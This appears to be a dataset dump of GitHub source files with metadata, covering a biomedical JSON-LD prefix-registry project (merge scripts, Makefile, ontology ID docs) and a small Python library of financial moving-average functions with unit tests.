+ str(data['ip']) + ':' + str(data['port']) + '/wd/hub', desired_caps)\n driver.implicitly_wait(5)\n return driver\n\nif __name__ == '__main__':\n appium_desired()\n\n\n" } ]
5
prefixcommons/biocontext
https://github.com/prefixcommons/biocontext
7a396072ed41e346eb1f9ba1cd1d88272e22c3de
8f2b3226d4a5e5151fd7940ca1f775b5b767fe74
910d1047c96a1ff1b04dc693b5f4219f99c7619a
refs/heads/master
2022-11-09T18:33:53.987146
2022-10-26T01:21:14
2022-10-26T01:21:14
34,485,715
13
17
null
2015-04-23T22:50:57
2022-10-20T09:47:02
2022-10-26T01:21:14
Python
[ { "alpha_fraction": 0.7372881174087524, "alphanum_fraction": 0.7372881174087524, "avg_line_length": 22.600000381469727, "blob_id": "330c76eebe695d394b0ef5ae9af6bfd91c6eb1d5", "content_id": "7eaecb04b071de1a98c25e658deccaaa5f756b42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 118, "license_type": "no_license", "max_line_length": 81, "num_lines": 5, "path": "/examples/README.md", "repo_name": "prefixcommons/biocontext", "src_encoding": "UTF-8", "text": "To try these examples you need a jsonld to rdf converter. For example, with JENA:\n\n```\nrdfcat hpoa_example.jsonld\n```\n" }, { "alpha_fraction": 0.5401948690414429, "alphanum_fraction": 0.543239951133728, "avg_line_length": 27.310344696044922, "blob_id": "e1d4ec74d736bbf3e7c7e454a1306be5b509e8f5", "content_id": "aa38c5904aa2efcb8f330380b2a1d2ee41460900", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1642, "license_type": "no_license", "max_line_length": 95, "num_lines": 58, "path": "/bin/concat-context.py", "repo_name": "prefixcommons/biocontext", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport json\nimport sys\nimport click\nimport logging\n\[email protected]()\[email protected](\"files\", nargs=-1)\ndef convert(files):\n logging.basicConfig(level=logging.INFO)\n logging.info(\"Files: {}\".format(files))\n\n first_path = files[0]\n rest = files[1:]\n \n prefix_to_uri = {}\n uri_to_prefix = {}\n first_context = open_json(first_path)\n logging.info('CANONICAL FILE: {}'.format(first_path))\n fc = first_context[\"@context\"]\n for k in fc.keys():\n prefix_to_uri[k] = first_path\n check_uri(uri_to_prefix, k, fc[k])\n \n for next_path in rest:\n\n next_context = open_json(next_path)\n for k in next_context[\"@context\"].keys():\n v = next_context[\"@context\"][k]\n if k in first_context[\"@context\"]:\n curr = first_context[\"@context\"][k]\n check_uri(uri_to_prefix, k, curr)\n if curr != v:\n logging.warning(\"Prefix clash: {} Was={} [{}], Now={} [{}]\".\n format(k, curr, prefix_to_uri[k], v, next_path))\n\n first_context[\"@context\"][k] = v\n prefix_to_uri[k] = next_path\n\n print(json.dumps(first_context, indent=4))\n\ndef check_uri(m, prefix, uri):\n if uri in m:\n logging.warning(\"URI clash: {} is expansion for {} and {}\".format(uri, prefix, m[uri]))\n m[uri] = prefix\n \ndef open_json(path):\n try:\n with open(path, 'r') as j:\n return json.load(j)\n\n except:\n print(\"Could not open/parse {}\".format(path), file=sys.stderr)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n convert()\n" }, { "alpha_fraction": 0.48320692777633667, "alphanum_fraction": 0.48862406611442566, "avg_line_length": 26.147058486938477, "blob_id": "9fdf720627d640dfb84f080bbc5a8cf362cba99a", "content_id": "3fef9e0cfbb7674ed5a5e7baa3192bfec61ecbc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1846, "license_type": "no_license", "max_line_length": 105, "num_lines": 68, "path": "/bin/go-xrefs-to-context.py", "repo_name": "prefixcommons/biocontext", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\"\"\"\nConvert GO db-xrefs.yaml file\n\nGive priority to entries explicitly designated rdf_uri_prefix\n\"\"\"\n\nimport json\nimport sys\nimport logging\n\nEXAMPLE = '[example_id]'\ndef main(fn):\n\n pm = {}\n f = open(fn, 'r')\n prefixes = json.load(f)\n for p in prefixes:\n db = p['database']\n if db == 'taxon':\n db = 'NCBITaxon'\n p['database'] = db\n for e in p.get('entity_types',[]):\n u = e.get('url_syntax','')\n if u.endswith(EXAMPLE):\n url = u.replace(EXAMPLE,'')\n if db in pm and pm[db] != url:\n logging.warn(\"Replacing {} : {} -> {}\".format(db, pm[db], url))\n pm[db] = url\n\n # overwrite if rdf_uri_prefix is known. See https://github.com/geneontology/go-site/issues/617\n for p in prefixes:\n if 'rdf_uri_prefix' in p:\n pm[p['database']] = p['rdf_uri_prefix']\n\n rmap = {}\n for p,uri in pm.items():\n if uri in rmap:\n existing_prefix = rmap[uri]\n if len(existing_prefix) > len(p):\n logging.info(\"Replacing {} -> {} with {} -> {} //1\".format(existing_prefix, uri, p, uri))\n del pm[existing_prefix]\n rmap[uri] = p\n else:\n logging.info(\"Replacing {} -> {} with {} -> {} //2\".format(p, uri, existing_prefix, uri))\n del pm[p]\n else:\n rmap[uri] = p\n \n \n\n obj = {'@context': pm}\n print(json.dumps(obj, indent=4))\n \n\ndef usage():\n print(\"go-xrefs-to-context.py db-xrefs.yaml\")\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 2:\n print(\"Too many arguments\")\n usage()\n sys.exit(1)\n if len(sys.argv) < 2:\n print(\"Too few arguments\")\n usage()\n\n main(sys.argv[1])\n" }, { "alpha_fraction": 0.7436548471450806, "alphanum_fraction": 0.7664974331855774, "avg_line_length": 64.66666412353516, "blob_id": "07b3b1a4f15a19316bd9d86f2546d2c9d2d24a6e", "content_id": "755091fc1dddfdf52819fd7b5efd2154dfd3e7d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 394, "license_type": "no_license", "max_line_length": 176, "num_lines": 6, "path": "/registry/othersources.md", "repo_name": "prefixcommons/biocontext", "src_encoding": "UTF-8", "text": "Other prefix to namespace mapping information exists in different (non-biocontext friendly) formats. Just parking a list of them here. We can figure out where to go after that.\n\nsource | URL at which documentation lives\n----|-----------\nBio2RDF | https://docs.google.com/spreadsheets/d/1c4DmQqTGS4ZvJU_Oq2MFnLk-3UUND6pWhuMoP8jgZhg/edit#gid=0\nOLS | http://www.ebi.ac.uk/ols/beta/api/ontologies?\n" }, { "alpha_fraction": 0.7646396160125732, "alphanum_fraction": 0.7823761105537415, "avg_line_length": 38.4555549621582, "blob_id": "03567df89af8d4a5307658cfd933d71c50dfd350", "content_id": "5a6b5aa242cae71277fbaa804ca8814b6c75c43a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3552, "license_type": "no_license", "max_line_length": 70, "num_lines": 90, "path": "/docs/ontology-object-ids.md", "repo_name": "prefixcommons/biocontext", "src_encoding": "UTF-8", "text": "Ontology objects are typically `classes` (aka terms), but may also\ninclude `object properties` (aka *relations* or *relationship types*)\nor `individuals`.\n\nAlmost all life science or health oriented ontologies are represented\nin OWL (this is true even of those ontologies typically thought of as\n\"OBO Format\", as OBO Format is a serialization of a subset of OWL). As\na consequence of this fact, each class is associated with a single\nURI. This URI is minted by publisher of the ontology. Some examples\ninclude:\n\n * http://purl.obolibrary.org/obo/HP_0000112 (Nephropathy)\n * http://semanticscience.org/resource/SIO_000897 (Association)\n * http://purl.obolibrary.org/obo/BFO_0000050 (part of)\n * http://purl.obolibrary.org/obo/CHEBI_41774 (tamoxifen)\n\nNote that as far as the semantic web standards stack is concerned\nthere is no distinct identifier field; the URI is the identifier and\nlocator. (of course any OWL document can choose to abbreviate the URIs\nhow it pleases, for example, using prefix declarations; but these\nabbreviations are local to the document, and not universal).\n\n## OBO Library Ontologies\n\nThe Open Biomedical Ontology (OBO) library is a confederation of\nontologies intended to work together and cover the biological and\nbiomedical domain. It includes many of the ontologies commonly used in\nbioinformatics tools and the major biological databases; ontologies\nsuch as GO, HP, OBI, CHEBI, SO.\n\nOBOs represent a special case. For any OBO class, *there is a\nguaranteed single canonical bipartite identifier*. For example\n\n * http://purl.obolibrary.org/obo/HP_0000112 <==> HP:0000112\n * http://purl.obolibrary.org/obo/OBI_0000070 <==> OBI:0000070\n * http://purl.obolibrary.org/obo/CHEBI_41774 <==> CHEBI:41774\n\nThis is enshrined in both the [OBO Foundry ID\npolicy](http://www.obofoundry.org/id-policy.shtml), and in the Formal\nSpecification of OBO Format.\n\nOBO class bipartite identifiers are equivalent to CURIEs in a semantic\nweb document together with prefix declarations:\n\n OBI http://purl.obolibrary.org/obo/OBI_\n HP http://purl.obolibrary.org/obo/HP_\n CHEBI http://purl.obolibrary.org/obo/CHEBI_\n ...\n\nFor JSON-LD documents, the complete set of relevant prefixes can be\nfound in the following context file within this registry:\n\n * [obo_context.jsonld](registry/obo_context.jsonld)\n\n## Ontologies not in the OBO Library\n\nFor any given OWL ontologies not in the OBO library, there is no\nguaranteed authoritative mapping from the URI to any kind of shortform\nidentifier, bipartite or otherwise. Different groups may have\ndifferent conventions, and these conventions may or may not have some\ndegree of stability.\n\nWithin this project, we provide some prefix declarations for non OBO\nLibrary ontologies. These should not be regarded as authoritative\noutside the context of this project.\n\nAn example is\n\n * [semweb_context.jsonld](registry/semweb_context.jsonld)\n\nThis provides a default context for common semantic web\nvocabularies/ontologies. Anything that uses this context can use\nprefixes such as:\n\n * dc\n * faldo\n * foaf\n * xsd\n\nNote that without this context imported, there is no guarantee that\nthe above prefixes will resolve to the desired URI prefixes, or will\nbe valid at all.\n\n## Non-OWL Ontologies\n\nOntologies that do not have their native form in OWL or as part of the\nsemweb stack represent a different case. Here we are not even\nguaranteed a canonical URI. Instead, the ontology may have one or more\nidentifier schemes. Examples include ontologies such as SNOMED, which\nare developed using a non-OWL DL.\n\n" }, { "alpha_fraction": 0.6856321692466736, "alphanum_fraction": 0.6893678307533264, "avg_line_length": 32.766990661621094, "blob_id": "334b715fab8e97ae2e902b83d4a89b8cc3de0e5b", "content_id": "100fb8d2f5b86ab693cb3b1f10945ee396521e94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 3480, "license_type": "no_license", "max_line_length": 168, "num_lines": 103, "path": "/Makefile", "repo_name": "prefixcommons/biocontext", "src_encoding": "UTF-8", "text": "# Makefile to generate source JSON-LD contexts plus merged contexts\n\nCONTEXTS := pr go obo idot idot_nr semweb monarch semweb_vocab ro_vocab commons\n\nall: $(patsubst %,registry/%_context.jsonld,$(CONTEXTS)) reports/clashes.txt\n\n# TODO: Dockerize\ninstall:\n\tpip install -r requirements.txt\n\ntest: all\n\ntrigger:\n\ttouch $@\n\n## ----------------------------------------\n## CONTEXTS\n## ----------------------------------------\n\n## OBO\n## We pull from the official OBO registry\n##\nregistry/obo_context.jsonld: trigger\n\twget --no-check-certificate http://obofoundry.org/registry/obo_context.jsonld -O $@ && touch $@\n\n## Gene Ontology\n## Minerva\nregistry/minerva_context.jsonld: trigger\n\twget --no-check-certificate https://raw.githubusercontent.com/geneontology/minerva/master/minerva-core/src/main/resources/amigo_context_manual.jsonld -O $@ && touch $@\n\nregistry/go_context.jsonld: registry/go-db-xrefs.json \n\t./bin/go-xrefs-to-context.py $< > [email protected] && mv [email protected] $@\n\n## Monarch\nregistry/monarch_curie_map.yaml:\n\twget --no-check-certificate https://raw.githubusercontent.com/monarch-initiative/dipper/master/dipper/curie_map.yaml -O $@\n\nregistry/monarch_context.jsonld: registry/monarch_curie_map.yaml\n\t./bin/curiemap2context.py $< > [email protected] && mv [email protected] $@\n\n## PRO\nregistry/pr_context.jsonld:\n\t./bin/pro-obo2jsonld.pl > $@\n\n## IDENTIFIERS.ORG\n\n## Step1: Get miriam\nregistry/miriam.ttl: trigger\n\twget --no-check-certificate http://www.ebi.ac.uk/miriam/main/export/registry.ttl -O $@ && touch $@\n\n##\n## Everything from MIRIAM registry\nregistry/idot_context.jsonld: registry/miriam.ttl\n\t ./bin/miriam2jsonld.pl $< > $@\n\n## NON-REDUNDANT IDOT\n##\n## OBO Library takes priority, we subtract OBO from IDOT\nregistry/idot_nr_context.jsonld: registry/idot_context.jsonld registry/obo_context.jsonld\n\tpython3 ./bin/subtract-context.py $^ > [email protected] && mv [email protected] $@\n\n\n\n## Generic: derived from manually curated source\nregistry/%_context.jsonld: registry/%_context.yaml\n\t./bin/yaml2json.py $< > [email protected] && mv [email protected] $@\n\n\n## COMBINED\n##\n## The kitchen sink\n\n# Highest priority LAST\nCOMMONS_SOURCES = semweb idot_nr monarch obo\nregistry/commons_context.jsonld: $(patsubst %, registry/%_context.jsonld, $(COMMONS_SOURCES))\n\tpython3 ./bin/concat-context.py $^ > [email protected] && mv [email protected] $@\n\nGO_SOURCES = semweb go obo\nregistry/go_obo_context.jsonld: $(patsubst %, registry/%_context.jsonld, $(GO_SOURCES))\n\tpython3 ./bin/concat-context.py $^ > [email protected] && mv [email protected] $@\n\nTRANSLATOR_SOURCES = semweb monarch go idot_nr obo\nregistry/translator_context.jsonld: $(patsubst %, registry/%_context.jsonld, $(TRANSLATOR_SOURCES))\n\tpython3 ./bin/concat-context.py $^ > [email protected] && mv [email protected] $@\n\nSUPERSET_SOURCES = go idot semweb monarch semweb_vocab ro_vocab obo\nreports/clashes.txt: $(patsubst %, registry/%_context.jsonld, $(SUPERSET_SOURCES))\n\t(python3 ./bin/concat-context.py $^ > registry/superset.jsonld) >& $@\n\n# requires biomake\nreports/clashes-$(A)-$(B).txt: $(patsubst %, registry/%_context.jsonld, $(A) $(B))\n\t(python3 ./bin/concat-context.py $^ > registry/superset.jsonld) >& $@\n\n# requires biomake\nreports/clashes-$(A)-$(B)-$(C).txt: $(patsubst %, registry/%_context.jsonld, $(A) $(B) $(C))\n\t(python3 ./bin/concat-context.py $^ > registry/superset.jsonld) >& $@\n\n## GO\n## TODO\nregistry/go-db-xrefs.yaml:\n\twget --no-check-certificate https://raw.githubusercontent.com/geneontology/go-site/master/metadata/db-xrefs.yaml -O $@\nregistry/go-db-xrefs.json: registry/go-db-xrefs.yaml\n\t./bin/yaml2json.pl $< > $@\n\n\n" }, { "alpha_fraction": 0.4914228022098541, "alphanum_fraction": 0.518667995929718, "avg_line_length": 26.52777862548828, "blob_id": "997ba6d148ffc52c3157803c279fff7d883f411c", "content_id": "cdd7035a8d03e570c5e6c8de60c41a8f01a47d39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 991, "license_type": "no_license", "max_line_length": 80, "num_lines": 36, "path": "/bin/subtract-context.py", "repo_name": "prefixcommons/biocontext", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\nimport json\nimport sys\n\ndef main(context1_path, context2_path):\n\n try:\n with open(context1_path, 'r') as context1:\n with open(context2_path, 'r') as context2:\n c1 = json.load(context1)\n # print(json.dumps(c1, indent=4))\n c2 = json.load(context2)\n # print(json.dumps(c2, indent=4))\n\n for k in c2[\"@context\"].keys():\n if k in c1[\"@context\"]:\n del c1[\"@context\"][k]\n\n print(json.dumps(c1, indent=4))\n except:\n print(\"Could not open one of the context files\")\n sys.exit(1)\n\ndef usage():\n print(\"subtract-context.py path/to/context1.jsonld path/to/context2.jsonld\")\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 3:\n print(\"Too many arguments\")\n usage()\n sys.exit(1)\n if len(sys.argv) < 3:\n print(\"Too few arguments\")\n usage()\n\n main(sys.argv[1], sys.argv[2])\n" } ]
7
dhootha/pytrendy
https://github.com/dhootha/pytrendy
124a9abddce8b269b65ed15af3ea83bb692beb56
528b3e434d67879405175ae6a5776d812ca5b018
65b70c16d55315a0499756e9dd04e9fe5d73b69a
refs/heads/master
2021-01-15T23:40:41.205628
2014-02-05T00:19:00
2014-02-05T00:19:00
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6048803329467773, "alphanum_fraction": 0.6630690097808838, "avg_line_length": 29.884057998657227, "blob_id": "d47c6580499ef2372f4d43efcd097b8b6b74d83b", "content_id": "5d6ef8fb04f4eae93f9a7a8fbe3192c2ea158a5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2131, "license_type": "no_license", "max_line_length": 86, "num_lines": 69, "path": "/test/vectorsTest.py", "repo_name": "dhootha/pytrendy", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# Copyright 2014 Ruben Afonso, http://www.figurebelow.com\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport sys\nsys.path.append(\"..\")\nimport unittest\nfrom vectors import Vectors\n\nclass vectorsTest(unittest.TestCase):\n\n def __init__(self, testCaseNames):\n unittest.TestCase.__init__(self,testCaseNames)\n\n def test_diffVectors (self):\n s1 = [1.5, 1, 56, 45, -4.5]\n s2 = [2, 4, 5, 45, -1]\n expected = [-0.5, -3, 51, 0, -3.5]\n result = Vectors.diffVectors (s1, s2)\n self.assertEqual (result, expected)\n\n def test_powVectors (self):\n serie = [2,5,6,7.6]\n expected = [4, 25, 36, 57.76]\n result = Vectors.powVector(serie)\n self.assertEqual(result, expected)\n\n def test_avgVector (self):\n serie = [4,5,6,0]\n expected = 3.75\n self.assertEqual (Vectors.avgVector(serie), 3.75)\n self.assertEqual (Vectors.avgVector([]), 0)\n\n def test_absVector (self):\n serie = [-1, -1.4, 0, 5, 5e29, -5e4]\n expected = [1, 1.4, 0, 5, 5e29, 5e4]\n self.assertEqual (Vectors.absVector(serie), expected)\n self.assertEqual (Vectors.absVector([]), [])\n\n\n def test_divVectors (self):\n serie1 = [4.5, 4, 10, -5]\n serie2 = [2, 2, 5, -1]\n expected = [2.25, 2, 2, 5]\n self.assertEqual (Vectors.divVectors (serie1, serie2), expected)\n\n # This function is used in the combineVectors test\n def sumFunct(self, s1, s2):\n return s1+s2\n\n def test_combineVectors (self):\n serie1 = [2,3,-5,90.4]\n serie2 = [1,2,3,4]\n expected = [3,5,-2, 94.4]\n self.assertEqual (Vectors.combineVectors(serie1, serie2, self.sumFunct), expected)\n\nif __name__ == \"__main__\":\n unittest.main()\n" }, { "alpha_fraction": 0.7238895297050476, "alphanum_fraction": 0.7346938848495483, "avg_line_length": 35.21739196777344, "blob_id": "c1ba90fc3eed466dd03b9cb3b2c56fda2e42357a", "content_id": "3768ad8d8d84d74bcffd6df948941e8c1cbfdafb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 833, "license_type": "no_license", "max_line_length": 74, "num_lines": 23, "path": "/windowOp.py", "repo_name": "dhootha/pytrendy", "src_encoding": "UTF-8", "text": "# Copyright 2014 Ruben Afonso, http://www.figurebelow.com\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nclass WindowOp:\n\n @staticmethod\n def windowOp (series, windowWidth, fun):\n result = []\n for i in range(windowWidth, len(series)+1):\n windowVal = fun (series[i-windowWidth:i])\n result.append (windowVal)\n return result\n" }, { "alpha_fraction": 0.6514983177185059, "alphanum_fraction": 0.6709212064743042, "avg_line_length": 27.983871459960938, "blob_id": "2d3506884e49c79539a992bf3251824e8e1394f2", "content_id": "854799959cddca02e9da5453adbb41d6243fa280", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1802, "license_type": "no_license", "max_line_length": 74, "num_lines": 62, "path": "/vectors.py", "repo_name": "dhootha/pytrendy", "src_encoding": "UTF-8", "text": "# Copyright 2014 Ruben Afonso, http://www.figurebelow.com\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nclass Vectors:\n\n @staticmethod\n def diffVectors (series1, series2):\n result = [];\n if (len(series1) != len(series2)):\n raise Exception(\"Invalid series length\")\n for i in range(len(series1)):\n result.append(series1[i] - series2[i])\n return result\n\n @staticmethod\n def powVector (serie):\n result = []\n for value in serie:\n result.append (pow(value,2))\n return result\n\n @staticmethod\n def avgVector (serie):\n if len(serie) == 0:\n return 0\n return sum(serie)/float(len(serie))\n\n @staticmethod\n def absVector (serie):\n result = []\n for value in serie:\n result.append(abs(value))\n return result\n\n @staticmethod\n def divVectors (serie1, serie2):\n result = []\n if (len(serie1) != len(serie2)):\n raise Exception(\"Invalid series length\")\n for i in range(len(serie1)):\n result.append (serie1[i] / float(serie2[i]))\n return result\n\n @staticmethod\n def combineVectors (serie1, serie2, fun):\n result = []\n if len(serie1) != len(serie2) | len(serie1) + len(serie2) < 2:\n raise Exception(\"Invalid series length\")\n for i in range(len(serie1)):\n result.append (fun(serie1[i], serie2[i]))\n return result\n\n\n\n\n\n" }, { "alpha_fraction": 0.6901733875274658, "alphanum_fraction": 0.699999988079071, "avg_line_length": 28.827587127685547, "blob_id": "de8da33043a72c122330914ecd4a53ac465b515a", "content_id": "697ec6f3db7786d313c662331a3720c23a7aec42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1730, "license_type": "no_license", "max_line_length": 74, "num_lines": 58, "path": "/averages.py", "repo_name": "dhootha/pytrendy", "src_encoding": "UTF-8", "text": "# Copyright 2014 Ruben Afonso, http://www.figurebelow.com\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom vectors import Vectors\nfrom windowOp import WindowOp\n\nclass Averages:\n\n # This auxiliary function is used in MA\n @staticmethod\n def sumWindow (series):\n return Vectors.avgVector (series)\n\n @staticmethod\n def ma (series, order):\n return WindowOp.windowOp (series, order, Averages.sumWindow)\n\n @staticmethod\n def ema (series, period):\n result = []\n for i in range(period-1):\n result.append(0)\n k = (2.0/(period+1))\n initSlice = series[0:period]\n previousDay = Vectors.avgVector(initSlice)\n result.append(previousDay)\n emaSlice = series[period:]\n for i in emaSlice:\n previousDay = i * float(k) + previousDay * float((1-k))\n result.append(previousDay)\n return result\n\n\n @staticmethod\n def weightSum (series, weights):\n result = 0\n for i in range(len(series)):\n result += series[i] * weights[i]\n return float(result/len(weights))\n\n @staticmethod\n def wma (series, weights):\n result = []\n for i in range(len(weights), len(series)+1):\n windowVal = Averages.weightSum (series[i-len(weights):i], weights)\n result.append (windowVal)\n return result\n" }, { "alpha_fraction": 0.540377676486969, "alphanum_fraction": 0.6259542107582092, "avg_line_length": 36.149253845214844, "blob_id": "4c9fea2d9fa99c49ada4ba3e7baa5e750d161ad6", "content_id": "e8fed226c755ea654d66c134a9d5813355c84968", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2489, "license_type": "no_license", "max_line_length": 74, "num_lines": 67, "path": "/test/averagesTest.py", "repo_name": "dhootha/pytrendy", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# Copyright 2014 Ruben Afonso, http://www.figurebelow.com\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport sys\nsys.path.append(\"..\")\nimport unittest\nfrom averages import Averages\n\nclass averagesTest (unittest.TestCase):\n\n def __init__(self, testCaseNames):\n unittest.TestCase.__init__(self, testCaseNames)\n\n def test_ma (self):\n serie = [2, 6, 5, 7, 10, 9, 12, 5]\n expected = [5, 7, 7.75, 9.5, 9]\n movingAvg = Averages.ma (serie, 4)\n print \"Length MA == length(serie) - ma order + 1 ...\"\n self.assertEqual (len(movingAvg), len(serie) - 4 +1)\n print \"Example values match ...\"\n self.assertEqual (expected, movingAvg)\n print \"MA of an empty list is another empty list ...\"\n self.assertEqual (Averages.ma([], 2), [])\n\n def test_ema (self):\n series = [64.75, 63.79, 63.73, 63.73, 63.55,\n 63.19, 63.91, 63.85, 62.95, 63.37,\n 61.33, 61.51, 61.87, 60.25, 59.35,\n 59.95, 58.93, 57.68, 58.82, 58.87]\n expected = [ 0,0,0,0,0,0,0,0,0,\n 63.682,63.254,62.937,62.743,62.290,\n 61.755,61.427,60.973,60.374,60.092,\n 59.870]\n result = Averages.ema (series, 10)\n print (\"EMA-10 values match ...\")\n self.assertEqual(len(result), len(expected))\n for i in range (len(result)):\n self.assertEqual (round (result[i], 3), expected[i])\n print (\"EMA-1 values match (initial serie) ...\")\n result = Averages.ema (series, 1)\n for i in range (len(result)):\n self.assertEqual (round(result[i], 2), series[i])\n\n def test_wma (self):\n series = [1, 2, 3, 4, 5, 6]\n expected = [0.5, 0.83333, 1.16667, 1.5]\n result = Averages.wma(series, [0.6, 0.3, 0.1])\n print (\"Checking WMA result length ...\")\n self.assertEqual (len(result), len(expected))\n print (\"Checking WMA result values ...\")\n for i in range(len(result)):\n self.assertEqual (round (expected[i], 2), round(result[i], 2))\n\nif __name__ == \"__main__\":\n unittest.main()\n" }, { "alpha_fraction": 0.6831843852996826, "alphanum_fraction": 0.7108042240142822, "avg_line_length": 32.27027130126953, "blob_id": "e06021e4ce3479e8dc54d902eb40602fc58055e7", "content_id": "5f4070f85167694612986a681309b780a7cb0f42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1231, "license_type": "no_license", "max_line_length": 74, "num_lines": 37, "path": "/test/statisticsTest.py", "repo_name": "dhootha/pytrendy", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# Copyright 2014 Ruben Afonso, http://www.figurebelow.com\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport sys\nsys.path.append(\"..\")\nfrom statistics import Statistics\nimport unittest\n\nclass statisticsTest (unittest.TestCase):\n\n def __init__(self, testCaseNames):\n unittest.TestCase.__init__(self, testCaseNames)\n\n def test_mean (self):\n self.assertEqual (Statistics.mean([]), 0)\n self.assertEqual (Statistics.mean([0]), 0)\n self.assertEqual (Statistics.mean([2,6,5,7,10,9,12,5]), 7)\n\n def test_sd (self):\n self.assertEqual (Statistics.sd([]), 0)\n self.assertEqual (Statistics.sd([0]), 0)\n self.assertEqual (Statistics.sd([2,4,4,4,5,5,7,9]), 2)\n\nif __name__ == \"__main__\":\n unittest.main()\n" }, { "alpha_fraction": 0.7916666865348816, "alphanum_fraction": 0.7916666865348816, "avg_line_length": 24.41176414489746, "blob_id": "eae438378909570863120e1180f0da85f1ef3067", "content_id": "d1ed05688abec267d8d2f480d11b41b74f14a286", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 432, "license_type": "no_license", "max_line_length": 146, "num_lines": 17, "path": "/README.md", "repo_name": "dhootha/pytrendy", "src_encoding": "UTF-8", "text": "pytrendy\n========\n\nA Python class to provide functions useful in finance technical analysis.\n\nThe implemented functions are similar to the functionality provided with Trendyways javascript library (http://github.com/figurebelow/trendyways).\n\nGeneral purpsoe functions:\n\n* series mean\n* series standard deviation\n\nAverages and intervals:\n\n* MA: simple moving average\n* EMA: exponential moving average\n* WMA: weighted moving average\n" } ]
7
Calvinbebop/PyBard
https://github.com/Calvinbebop/PyBard
bb6f2da0f73e1c571eeed4efe86dd55587e6d14e
0572eac4f1da26af4d0b7c21bd2bcf4c1a3bc4bc
1fd00c28ad5371e6aa7de6e4e6278a9573ace597
refs/heads/master
2020-04-09T21:31:14.940086
2019-01-23T04:07:08
2019-01-23T04:07:08
160,604,560
2
0
null
null
null
null
null
